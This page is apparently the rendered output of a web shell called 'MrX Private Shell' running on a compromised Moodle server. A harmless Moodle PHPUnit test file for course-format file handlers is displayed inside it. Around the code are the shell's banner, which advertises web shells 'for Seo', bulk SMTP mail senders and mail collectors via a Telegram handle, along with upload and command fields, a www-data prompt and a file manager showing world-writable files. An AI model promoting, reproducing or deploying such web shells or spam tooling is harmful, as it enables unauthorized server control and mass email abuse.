__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_courseformat\external;

use core_external\external_api;

defined('MOODLE_INTERNAL') || die();

global $CFG;
require_once($CFG->dirroot . '/webservice/tests/helpers.php');

use dndupload_handler;

/**
 * Tests for the file_hanlders class.
 *
 * @package    core_course
 * @category   test
 * @copyright  2022 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @coversDefaultClass \core_courseformat\external\file_handlers
 */
final class file_handlers_test extends \externallib_advanced_testcase {

    /**
     * Setup to ensure that fixtures are loaded.
     */
    public static function setupBeforeClass(): void { // phpcs:ignore
        global $CFG;
        require_once($CFG->dirroot . '/course/lib.php');
        require_once($CFG->dirroot . '/course/dnduploadlib.php');
    }

    /**
     * Test the behaviour of get_state::execute().
     *
     * @covers ::execute
     */
    public function test_execute(): void {
        $this->resetAfterTest();
        $course = $this->getDataGenerator()->create_course(['numsections' => 3, 'format' => 'topics']);
        $this->setAdminUser();

        $result = file_handlers::execute($course->id);
        $result = external_api::clean_returnvalue(file_handlers::execute_returns(), $result);

        $handlers = new dndupload_handler($course, null);
        $expected = $handlers->get_js_data();

        $this->assertCount(count($expected->filehandlers), $result);
        foreach ($expected->filehandlers as $key => $handler) {
            $tocompare = $result[$key];
            $this->assertEquals($handler->extension, $tocompare['extension']);
        }
    }

    /**
     * Test the behaviour of get_state::execute() in a wrong course.
     *
     * @covers ::execute
     */
    public function test_execute_wrong_course(): void {
        $this->resetAfterTest();
        $course = $this->getDataGenerator()->create_course(['numsections' => 3, 'format' => 'topics']);
        $this->setAdminUser();

        $this->expectException('dml_missing_record_exception');
        $result = file_handlers::execute(-1);
        $result = external_api::clean_returnvalue(file_handlers::execute_returns(), $result);
    }
}

Filemanager

Name Type Size Permission Actions
create_module_test.php File 5.48 KB 0777
file_handlers_test.php File 2.87 KB 0777
get_state_test.php File 10.99 KB 0777
update_course_test.php File 7.92 KB 0777
Filemanager